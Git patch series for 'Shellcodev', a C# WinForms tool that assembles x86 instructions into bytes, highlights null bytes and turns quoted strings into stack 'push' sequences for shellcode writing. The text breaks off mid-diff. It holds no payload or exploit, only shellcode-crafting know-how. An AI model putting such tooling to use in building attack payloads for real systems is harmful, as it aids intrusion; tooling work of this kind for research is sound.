// instructionTxt // diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index c6da303..024f96b 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -43,5 +43,43 @@ private void instructionTxt_KeyDown(object sender, KeyEventArgs e) e.SuppressKeyPress = true; } } + + private static int previousIndex; + private void instructionGrid_SelectionChanged(object sender, EventArgs e) + { + int index = instructionGrid.CurrentCell.RowIndex; + + for(int i = 0; i < bytesBox.Lines.Count(); i++) + { + if(index == i) + { + if(previousIndex != i) + { + int searchForPrevius = bytesBox.Text.IndexOf(bytesBox.Lines[previousIndex]); + bytesBox.Select(searchForPrevius, bytesBox.Lines[previousIndex].Length); + bytesBox.SelectionColor = Color.Black; + + if(bytesBox.Lines[previousIndex].Contains("00")) + { + int selectStart = bytesBox.SelectionStart; + + while ((index = bytesBox.Text.IndexOf("00", (index + 1))) != -1) + { + bytesBox.Select((index + 0), "00".Length); + bytesBox.SelectionColor = Color.Red; + bytesBox.Select(selectStart, 0); + bytesBox.SelectionColor = Color.Black; + } + } + } + + previousIndex = i; + int search = bytesBox.Text.IndexOf(bytesBox.Lines[i]); + bytesBox.Select(search, bytesBox.Lines[i].Length); + bytesBox.SelectionColor = Color.Blue; + //bytesBox.SelectionFont = new Font("Sans Serif",) + } + } + } } } From 471380f583c8140cd83e4460b8919ea97006b553 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 21:24:13 +0200 Subject: [PATCH 07/64] Code cleaning and cell edit event added --- Shellcodev/Forms/Main.Designer.cs | 1 + Shellcodev/Forms/Main.cs | 11 +++++------ Shellcodev/Forms/Main.resx | 3 --- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 5f3772b..d6765df 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -45,6 +45,7 @@ private void InitializeComponent() this.instructionGrid.Name = "instructionGrid"; this.instructionGrid.Size = new System.Drawing.Size(343, 389); this.instructionGrid.TabIndex = 0; + this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); // // instructionTxt diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 024f96b..7f01270 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,11 +1,6 @@ using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; using System.Drawing; using System.Linq; -using System.Text; -using System.Threading.Tasks; using System.Windows.Forms; namespace Shellcodev.Forms @@ -77,9 +72,13 @@ private void instructionGrid_SelectionChanged(object sender, EventArgs e) int search = bytesBox.Text.IndexOf(bytesBox.Lines[i]); bytesBox.Select(search, bytesBox.Lines[i].Length); bytesBox.SelectionColor = Color.Blue; - //bytesBox.SelectionFont = new Font("Sans Serif",) } } } + + private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArgs e) + { + //On edit finish, update bytes in textbox + } } } diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index eb8d8bf..888969e 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,7 +120,4 @@ True - - True - \ No newline at end of file From 86ae1ae0009594bd8e4cde7ffe8b918862e916b0 Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Fri, 15 Oct 2021 15:44:10 +0200 Subject: [PATCH 08/64] Delete Main.cs --- Shellcodev/Main.cs | 41 ----------------------------------------- 1 file changed, 41 deletions(-) delete mode 100644 Shellcodev/Main.cs diff --git a/Shellcodev/Main.cs b/Shellcodev/Main.cs deleted file mode 100644 index b13c4ae..0000000 --- a/Shellcodev/Main.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.Windows.Forms; - -namespace Shellcodev -{ - public partial class Main : Form - { - private static Main instance; - public static Main ReturnInstance() - { - return instance; - } - - public Main() - { - InitializeComponent(); - instance = this; - } - - private void addinstructionBtn_Click(object sender, EventArgs e) - { - if (String.IsNullOrEmpty(instructionTxt.Text)) - return; - - new Instruction(instructionTxt.Text); - } - - private void instructionTxt_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyCode == Keys.Enter) - { - addinstructionBtn_Click(sender, e); - instructionTxt.SelectAll(); - - //Disabling annoying bimbows ding sound on enter - e.Handled = true; - e.SuppressKeyPress = true; - } - } - } -} From ad87632df2613a44ee8344f9474e442d84b93f74 Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Fri, 15 Oct 2021 15:44:17 +0200 Subject: [PATCH 09/64] Delete Main.resx --- Shellcodev/Main.resx | 123 ------------------------------------------- 1 file changed, 123 deletions(-) delete mode 100644 Shellcodev/Main.resx diff --git a/Shellcodev/Main.resx b/Shellcodev/Main.resx deleted file mode 100644 index 0a96480..0000000 --- a/Shellcodev/Main.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - \ No newline at end of file From f0eaf9b20d46350a0f2e467dc943ddf9cd17ea0e Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Fri, 15 Oct 2021 15:44:22 +0200 Subject: [PATCH 10/64] Delete Main.Designer.cs --- Shellcodev/Main.Designer.cs | 147 ------------------------------------ 1 file changed, 147 deletions(-) delete mode 100644 Shellcodev/Main.Designer.cs diff --git a/Shellcodev/Main.Designer.cs b/Shellcodev/Main.Designer.cs deleted file mode 100644 index 1daba9c..0000000 --- a/Shellcodev/Main.Designer.cs +++ /dev/null @@ -1,147 +0,0 @@ -namespace Shellcodev -{ - partial class Main - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.instructionTxt = new System.Windows.Forms.TextBox(); - this.instructionGrid = new System.Windows.Forms.DataGridView(); - this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.addinstructionBtn = new System.Windows.Forms.Button(); - this.genBtn = new System.Windows.Forms.Button(); - this.radioC = new System.Windows.Forms.RadioButton(); - this.radioCS = new System.Windows.Forms.RadioButton(); - this.bytesBox = new System.Windows.Forms.RichTextBox(); - ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); - this.SuspendLayout(); - // - // instructionTxt - // - this.instructionTxt.Location = new System.Drawing.Point(24, 388); - this.instructionTxt.Name = "instructionTxt"; - this.instructionTxt.Size = new System.Drawing.Size(256, 20); - this.instructionTxt.TabIndex = 0; - this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); - // - // instructionGrid - // - this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Instructions}); - this.instructionGrid.Location = new System.Drawing.Point(24, 27); - this.instructionGrid.Name = "instructionGrid"; - this.instructionGrid.Size = new System.Drawing.Size(343, 341); - this.instructionGrid.TabIndex = 1; - // - // Instructions - // - this.Instructions.HeaderText = "Instruction"; - this.Instructions.Name = "Instructions"; - this.Instructions.Width = 300; - // - // addinstructionBtn - // - this.addinstructionBtn.Location = new System.Drawing.Point(292, 388); - this.addinstructionBtn.Name = "addinstructionBtn"; - this.addinstructionBtn.Size = new System.Drawing.Size(75, 20); - this.addinstructionBtn.TabIndex = 2; - this.addinstructionBtn.Text = "Add"; - this.addinstructionBtn.UseVisualStyleBackColor = true; - this.addinstructionBtn.Click += new System.EventHandler(this.addinstructionBtn_Click); - // - // genBtn - // - this.genBtn.Location = new System.Drawing.Point(24, 444); - this.genBtn.Name = "genBtn"; - this.genBtn.Size = new System.Drawing.Size(75, 23); - this.genBtn.TabIndex = 2; - this.genBtn.Text = "Generate"; - this.genBtn.UseVisualStyleBackColor = true; - // - // radioC - // - this.radioC.AutoSize = true; - this.radioC.Location = new System.Drawing.Point(105, 438); - this.radioC.Name = "radioC"; - this.radioC.Size = new System.Drawing.Size(67, 17); - this.radioC.TabIndex = 3; - this.radioC.TabStop = true; - this.radioC.Text = "C Format"; - this.radioC.UseVisualStyleBackColor = true; - // - // radioCS - // - this.radioCS.AutoSize = true; - this.radioCS.Location = new System.Drawing.Point(105, 458); - this.radioCS.Name = "radioCS"; - this.radioCS.Size = new System.Drawing.Size(74, 17); - this.radioCS.TabIndex = 3; - this.radioCS.TabStop = true; - this.radioCS.Text = "C# Format"; - this.radioCS.UseVisualStyleBackColor = true; - // - // bytesBox - // - this.bytesBox.Location = new System.Drawing.Point(498, 27); - this.bytesBox.Name = "bytesBox"; - this.bytesBox.Size = new System.Drawing.Size(362, 100); - this.bytesBox.TabIndex = 4; - this.bytesBox.Text = ""; - // - // Main - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(889, 490); - this.Controls.Add(this.bytesBox); - this.Controls.Add(this.radioCS); - this.Controls.Add(this.radioC); - this.Controls.Add(this.genBtn); - this.Controls.Add(this.addinstructionBtn); - this.Controls.Add(this.instructionGrid); - this.Controls.Add(this.instructionTxt); - this.Name = "Main"; - this.Text = "Shellcodev"; - ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox instructionTxt; - private System.Windows.Forms.Button addinstructionBtn; - private System.Windows.Forms.Button genBtn; - private System.Windows.Forms.RadioButton radioC; - private System.Windows.Forms.RadioButton radioCS; - public System.Windows.Forms.DataGridView instructionGrid; - public System.Windows.Forms.RichTextBox bytesBox; - private System.Windows.Forms.DataGridViewTextBoxColumn Instructions; - } -} - From 7746c066b28b5ed6127c46d51eb56917967db2d7 Mon Sep 17 00:00:00 2001 From: XaFF Date: Fri, 15 Oct 2021 16:04:10 +0200 Subject: [PATCH 11/64] Initial cell update event --- Shellcodev/Core/Instruction.cs | 2 +- Shellcodev/Forms/Main.cs | 21 ++++++++++++++++++++- 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 0b7fa15..a853391 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -4,7 +4,7 @@ namespace Shellcodev { - public class InstrctuionValidator + public class InstructionValidator { //Validate instructions public bool ValidateInstruction() diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 7f01270..0d2b203 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -78,7 +78,26 @@ private void instructionGrid_SelectionChanged(object sender, EventArgs e) private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArgs e) { - //On edit finish, update bytes in textbox + AssemblyHandler handler = new AssemblyHandler(); + + int editedRow = e.RowIndex; + DataGridViewRow row = instructionGrid.Rows[editedRow]; + + string rowValue = row.Cells[0].Value.ToString(); + string bytes = handler.Assembler(rowValue); + + for(int i = 0; i < bytesBox.Lines.Length; i++) //Has to be fixed + { + if(editedRow == i) //Lines are wrongly appended + { + bytesBox.Select(i, bytesBox.Lines[i].Length); + + if(editedRow == 0) + bytesBox.SelectedText = bytes; + else + bytesBox.SelectedText = "\n"+bytes; + } + } } } } From b4a699fac21dcee48a07f73829ba1572a3462cd0 Mon Sep 17 00:00:00 2001 From: XaFF Date: Fri, 15 Oct 2021 16:28:51 +0200 Subject: [PATCH 12/64] bytesBox runtime value updating added. --- Shellcodev/Forms/Main.cs | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 0d2b203..c2417c6 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -83,21 +83,16 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg int editedRow = e.RowIndex; DataGridViewRow row = instructionGrid.Rows[editedRow]; - string rowValue = row.Cells[0].Value.ToString(); - string bytes = handler.Assembler(rowValue); + var rowValue = row.Cells[0].Value; + if (rowValue == null) + return; - for(int i = 0; i < bytesBox.Lines.Length; i++) //Has to be fixed - { - if(editedRow == i) //Lines are wrongly appended - { - bytesBox.Select(i, bytesBox.Lines[i].Length); + string bytes = handler.Assembler(rowValue.ToString()); - if(editedRow == 0) - bytesBox.SelectedText = bytes; - else - bytesBox.SelectedText = "\n"+bytes; - } - } + int search = bytesBox.Text.IndexOf(bytesBox.Lines[editedRow]); + + bytesBox.Select(search, bytesBox.Lines[editedRow].Length); + bytesBox.SelectedText = bytes; } } } From 2837e39755e378260f028057b3650f60fd69d928 Mon Sep 17 00:00:00 2001 From: XaFF Date: Fri, 15 Oct 2021 16:37:39 +0200 Subject: [PATCH 13/64] Code cleaning --- Shellcodev/Core/Instruction.cs | 7 +++---- Shellcodev/Forms/Main.Designer.cs | 16 ++++++++-------- Shellcodev/Forms/Main.cs | 1 - Shellcodev/Program.cs | 2 +- 4 files changed, 12 insertions(+), 14 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index a853391..e2f42e5 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,5 +1,4 @@ -using Shellcodev.Forms; -using System.Drawing; +using System.Drawing; using System.Windows.Forms; namespace Shellcodev @@ -27,7 +26,7 @@ public Instruction(string instruction) { this.instruction = instruction; - Main main = Main.ReturnInstance(); + Forms.Main main = Forms.Main.ReturnInstance(); int rows = main.instructionGrid.Rows.Add(rowId); DataGridViewRow row = main.instructionGrid.Rows[rows]; @@ -40,7 +39,7 @@ public Instruction(string instruction) ByteAppender(main, bytes); } - private void ByteAppender(Main main, string bytes) + private void ByteAppender(Forms.Main main, string bytes) { var box = main.bytesBox; string[] split = bytes.Split(' '); diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index d6765df..5a108af 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -29,9 +29,9 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.instructionTxt = new System.Windows.Forms.TextBox(); this.addInstructionBtn = new System.Windows.Forms.Button(); - this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.bytesBox = new System.Windows.Forms.RichTextBox(); ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); this.SuspendLayout(); @@ -48,6 +48,12 @@ private void InitializeComponent() this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); // + // Instruction + // + this.Instruction.HeaderText = "Instruction"; + this.Instruction.Name = "Instruction"; + this.Instruction.Width = 300; + // // instructionTxt // this.instructionTxt.Location = new System.Drawing.Point(38, 436); @@ -66,12 +72,6 @@ private void InitializeComponent() this.addInstructionBtn.UseVisualStyleBackColor = true; this.addInstructionBtn.Click += new System.EventHandler(this.addInstructionBtn_Click); // - // Instruction - // - this.Instruction.HeaderText = "Instruction"; - this.Instruction.Name = "Instruction"; - this.Instruction.Width = 300; - // // bytesBox // this.bytesBox.Location = new System.Drawing.Point(549, 31); @@ -90,7 +90,7 @@ private void InitializeComponent() this.Controls.Add(this.instructionTxt); this.Controls.Add(this.instructionGrid); this.Name = "Main"; - this.Text = "Main"; + this.Text = "Shellcodev"; ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index c2417c6..0bcdd9b 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -88,7 +88,6 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg return; string bytes = handler.Assembler(rowValue.ToString()); - int search = bytesBox.Text.IndexOf(bytesBox.Lines[editedRow]); bytesBox.Select(search, bytesBox.Lines[editedRow].Length); diff --git a/Shellcodev/Program.cs b/Shellcodev/Program.cs index db7ccb9..99d266a 100644 --- a/Shellcodev/Program.cs +++ b/Shellcodev/Program.cs @@ -17,7 +17,7 @@ static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Main()); + Application.Run(new Forms.Main()); } } } From 2f136c3bb82dbb2a7efffbecf5ad21c98fa61e75 Mon Sep 17 00:00:00 2001 From: XaFF Date: Fri, 15 Oct 2021 20:25:26 +0200 Subject: [PATCH 14/64] Double quote replace snippet added --- Shellcodev/Core/Instruction.cs | 114 +++++++++++++++++++++++++++--- Shellcodev/Forms/Main.Designer.cs | 13 +++- TestDLL/Program.cs | 43 +++++++++-- 3 files changed, 155 insertions(+), 15 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index e2f42e5..08b2e8e 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,4 +1,8 @@ -using System.Drawing; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; using System.Windows.Forms; namespace Shellcodev @@ -17,6 +21,64 @@ public bool ValidateInstruction() } } + public class InstructionConverter + { + private string EncodeValues(string instructionPart, bool small) + { + byte[] bytes = Encoding.Default.GetBytes(instructionPart); + var hexString = BitConverter.ToString(bytes); + string[] splited = hexString.Split('-'); + + List result = new List(); + for(int i = splited.Length - 1; i >= 0; i--) + result.Add(splited[i]); + + string temp = null; + if(!small) + foreach (string str in result) + temp += str; + else + foreach(string str in result) + { + int appender = 8 - str.Length; + string temp2 = str; + for(int i = 0; i < appender; i++) + { + temp2 = "0" + temp2; + } + temp += temp2; + } + + return "0x" + temp; + } + + public string[] StringAssembler(string instruction) + { + AssemblyHandler handler = new AssemblyHandler(); + List list = new List(); + double partSize = 4; + int k = 0; + + //Extracting strings in double quotes + var stringArray = instruction.Split('"'); + //Splitting string + var output = stringArray[1] + .ToLookup(c => Math.Floor(k++ / partSize)) + .Select(e => new String(e.ToArray())); + + List result = new List(); + foreach(string str in output) + { + if (str.Length < 4) + result.Add(EncodeValues(str, true)); + else + result.Add(EncodeValues(str, false)); + } + + return result.ToArray(); + } + } + public class Instruction { public string instruction; @@ -24,19 +86,55 @@ public class Instruction public Instruction(string instruction) { + string[] arrBytes = null; + bool arr = false; + var converter = new InstructionConverter(); + + if (instruction.Contains("\"")) + { + arrBytes = converter.StringAssembler(instruction); + arr = true; + } + this.instruction = instruction; + AssemblyHandler handler = new AssemblyHandler(); Forms.Main main = Forms.Main.ReturnInstance(); - int rows = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow row = main.instructionGrid.Rows[rows]; - row.Cells["Instruction"].Value = instruction; - row.HeaderCell.Value = (row.Index + 1).ToString(); + if(arr == true) + { + foreach(string bt in arrBytes) + { + int rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = main.instructionGrid.Rows[rows]; - AssemblyHandler handler = new AssemblyHandler(); - string bytes = handler.Assembler(instruction); + row.Cells["Instruction"].Value = "push " + bt; + row.HeaderCell.Value = (row.Index + 1).ToString(); + } + } + else + { + int rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = main.instructionGrid.Rows[rows]; + + row.Cells["Instruction"].Value = instruction; + row.HeaderCell.Value = (row.Index + 1).ToString(); + } - ByteAppender(main, bytes); + string bytes = null; + if(arr == true) + { + foreach(string bt in arrBytes) + { + bytes = handler.Assembler("push " + bt); + ByteAppender(main, bytes); + } + } + else + { + bytes = handler.Assembler(instruction); + ByteAppender(main, bytes); + } } private void ByteAppender(Forms.Main main, string bytes) diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 5a108af..e364226 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -33,6 +33,7 @@ private void InitializeComponent() this.instructionTxt = new System.Windows.Forms.TextBox(); this.addInstructionBtn = new System.Windows.Forms.Button(); this.bytesBox = new System.Windows.Forms.RichTextBox(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); this.SuspendLayout(); // @@ -74,17 +75,26 @@ private void InitializeComponent() // // bytesBox // - this.bytesBox.Location = new System.Drawing.Point(549, 31); + this.bytesBox.Location = new System.Drawing.Point(553, 80); this.bytesBox.Name = "bytesBox"; this.bytesBox.Size = new System.Drawing.Size(350, 204); this.bytesBox.TabIndex = 3; this.bytesBox.Text = ""; // + // richTextBox1 + // + this.richTextBox1.Location = new System.Drawing.Point(436, 31); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(467, 30); + this.richTextBox1.TabIndex = 4; + this.richTextBox1.Text = ""; + // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(948, 485); + this.Controls.Add(this.richTextBox1); this.Controls.Add(this.bytesBox); this.Controls.Add(this.addInstructionBtn); this.Controls.Add(this.instructionTxt); @@ -103,5 +113,6 @@ private void InitializeComponent() private System.Windows.Forms.DataGridViewTextBoxColumn Instruction; public System.Windows.Forms.DataGridView instructionGrid; public System.Windows.Forms.RichTextBox bytesBox; + private System.Windows.Forms.RichTextBox richTextBox1; } } \ No newline at end of file diff --git a/TestDLL/Program.cs b/TestDLL/Program.cs index 9f450b6..af20f81 100644 --- a/TestDLL/Program.cs +++ b/TestDLL/Program.cs @@ -3,23 +3,54 @@ using System.Linq; using System.Runtime.InteropServices; using System.Text; +using System.Text.RegularExpressions; using System.Threading.Tasks; namespace TestDLL { + public static class Test + { + public static IEnumerable SplitInParts(this String s, Int32 partLength) + { + if (s == null) + throw new ArgumentNullException(nameof(s)); + if (partLength <= 0) + throw new ArgumentException("Part length has to be positive.", nameof(partLength)); + + for (int i = 0; i < s.Length; i += partLength) + yield return s.Substring(i, Math.Min(partLength, s.Length - i)); + } + } + internal class Program { - [DllImport("InstructionHandler.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); + static void Main(string[] args) { - string instruction = "xor eax,eax"; - - IntPtr mem = AssembleInstructions(instruction); - string v = Marshal.PtrToStringAnsi(mem); - Console.WriteLine(v); + string instruction = Console.ReadLine(); + string temp = null; + int len = 8 - instruction.Length; + for(int i = 0; i < len; i++) + { + instruction = "0" + instruction; + } + Console.WriteLine(instruction); Console.ReadLine(); + + //string instruction = "xor eax,eax"; + + //IntPtr mem = AssembleInstructions(instruction); + //string v = Marshal.PtrToStringAnsi(mem); + //Console.WriteLine(v); + //Console.ReadLine(); + + //byte[] bytes = Encoding.Default.GetBytes("lol"); + //var hexString = BitConverter.ToString(bytes); + //Console.WriteLine(hexString); + //Console.ReadLine(); } } } From ef80ee6a49671ba4aea9d4ff83c2c258c89076c6 Mon Sep 17 00:00:00 2001 From: XaFF Date: Fri, 15 Oct 2021 21:27:02 +0200 Subject: [PATCH 15/64] Todo list added and code cleaning --- Shellcodev/Core/Instruction.cs | 27 +++++++++++++++++---- Shellcodev/Forms/Main.cs | 6 ++++- TestDLL/Program.cs | 44 ++++------------------------------ 3 files changed, 32 insertions(+), 45 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 08b2e8e..19acd91 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -42,10 +42,10 @@ private string EncodeValues(string instructionPart, bool small) { int appender = 8 - str.Length; string temp2 = str; + for(int i = 0; i < appender; i++) - { temp2 = "0" + temp2; - } + temp += temp2; } @@ -61,6 +61,7 @@ public string[] StringAssembler(string instruction) //Extracting strings in double quotes var stringArray = instruction.Split('"'); + //Splitting string var output = stringArray[1] .ToLookup(c => Math.Floor(k++ / partSize)) @@ -90,6 +91,8 @@ public Instruction(string instruction) bool arr = false; var converter = new InstructionConverter(); + string register = instruction.Substring(3, 4); + if (instruction.Contains("\"")) { arrBytes = converter.StringAssembler(instruction); @@ -101,15 +104,25 @@ public Instruction(string instruction) AssemblyHandler handler = new AssemblyHandler(); Forms.Main main = Forms.Main.ReturnInstance(); - if(arr == true) + if (arr == true) { - foreach(string bt in arrBytes) + string lastValue = arrBytes.Last(); + foreach (string bt in arrBytes) { int rows = main.instructionGrid.Rows.Add(rowId); DataGridViewRow row = main.instructionGrid.Rows[rows]; row.Cells["Instruction"].Value = "push " + bt; row.HeaderCell.Value = (row.Index + 1).ToString(); + + if(lastValue == bt) + { + int rows1 = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow row1 = main.instructionGrid.Rows[rows1]; + + row1.Cells["Instruction"].Value = "mov " + register + ", esp"; + row1.HeaderCell.Value = (row.Index + 2).ToString(); + } } } else @@ -129,6 +142,10 @@ public Instruction(string instruction) bytes = handler.Assembler("push " + bt); ByteAppender(main, bytes); } + + //Append pointer + bytes = handler.Assembler("mov " + register + ", esp"); + ByteAppender(main, bytes); } else { @@ -155,4 +172,4 @@ private void ByteAppender(Forms.Main main, string bytes) box.AppendText("\n"); } } -} +} \ No newline at end of file diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 0bcdd9b..3042f7d 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -13,6 +13,10 @@ public static Main ReturnInstance() return instance; } + //TODO: Show registers value at runtime + // If someone removes content of gridview row, delete it + // https://github.com/asmjit/asmjit/issues/27 + public Main() { InitializeComponent(); @@ -94,4 +98,4 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg bytesBox.SelectedText = bytes; } } -} +} \ No newline at end of file diff --git a/TestDLL/Program.cs b/TestDLL/Program.cs index af20f81..67b408c 100644 --- a/TestDLL/Program.cs +++ b/TestDLL/Program.cs @@ -1,27 +1,8 @@ using System; -using System.Collections.Generic; -using System.Linq; using System.Runtime.InteropServices; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading.Tasks; namespace TestDLL { - public static class Test - { - public static IEnumerable SplitInParts(this String s, Int32 partLength) - { - if (s == null) - throw new ArgumentNullException(nameof(s)); - if (partLength <= 0) - throw new ArgumentException("Part length has to be positive.", nameof(partLength)); - - for (int i = 0; i < s.Length; i += partLength) - yield return s.Substring(i, Math.Min(partLength, s.Length - i)); - } - } - internal class Program { [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] @@ -30,27 +11,12 @@ internal class Program static void Main(string[] args) { - string instruction = Console.ReadLine(); - string temp = null; - int len = 8 - instruction.Length; - for(int i = 0; i < len; i++) - { - instruction = "0" + instruction; - } - Console.WriteLine(instruction); - Console.ReadLine(); - - //string instruction = "xor eax,eax"; + string instruction = "xor eax,eax"; - //IntPtr mem = AssembleInstructions(instruction); - //string v = Marshal.PtrToStringAnsi(mem); - //Console.WriteLine(v); - //Console.ReadLine(); - - //byte[] bytes = Encoding.Default.GetBytes("lol"); - //var hexString = BitConverter.ToString(bytes); - //Console.WriteLine(hexString); - //Console.ReadLine(); + IntPtr mem = AssembleInstructions(instruction); + string v = Marshal.PtrToStringAnsi(mem); + Console.WriteLine(v); + Console.ReadLine(); } } } From 67a693e5ee4f691b679a6bb3d9dbc2d56d4758fe Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 17 Oct 2021 14:14:49 +0200 Subject: [PATCH 16/64] Layout update --- Shellcodev/Core/Instruction.cs | 3 +- Shellcodev/Forms/Main.Designer.cs | 259 +++++++++++++++++++++++++++--- Shellcodev/Forms/Main.resx | 3 + 3 files changed, 245 insertions(+), 20 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 19acd91..4986ca1 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -40,10 +40,9 @@ private string EncodeValues(string instructionPart, bool small) else foreach(string str in result) { - int appender = 8 - str.Length; string temp2 = str; - for(int i = 0; i < appender; i++) + for(int i = 0; i < 8 - str.Length; i++) temp2 = "0" + temp2; temp += temp2; diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index e364226..b9f33c9 100644 --- 